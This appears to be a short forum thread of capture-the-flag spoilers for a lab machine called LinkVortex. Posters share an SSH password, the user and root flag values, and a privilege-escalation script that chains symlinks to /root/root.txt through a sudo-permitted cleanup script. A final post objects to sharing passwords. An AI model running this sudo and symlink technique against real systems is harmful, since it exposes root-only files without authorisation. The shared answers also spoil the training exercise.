[mhsoraa]

User:

kali$ ssh bob@linkvortex.htb
bob@linkvortex.htb's password: fibber-talented-worth
bob@linkvortex:~$ ls
user.txt
bob@linkvortex:~$ cat user.txt
6e6acfb2b564ecec3c71c2963bb3cf85
bob@linkvortex:~$

Root:

bob@linkvortex:~$ ln -s /root/root.txt /home/bob/pwn.txt
bob@linkvortex:~$ ln -s /home/bob/pwn.txt /home/bob/pwn.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png
Link found [ /home/bob/pwn.png ] , moving it to quarantine
Content:
911be11ee404e95c2e1f273ed2039179
bob@linkvortex:~$

[puniaileman]

login
ssh bob@linkvortex.htb:fibber-talented-worth

paste this code and execute

#!/bin/bash

ln -s /root/root.txt /home/bob/pwn.txt
ln -s /home/bob/pwn.txt /home/bob/pwn.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png | echo  | tail -1

[rebelhex2]

I think is better to share the write-up with no passwords so people can learn, even if is a easybox if not people will never out grow  the copy/paste level. :catglasses: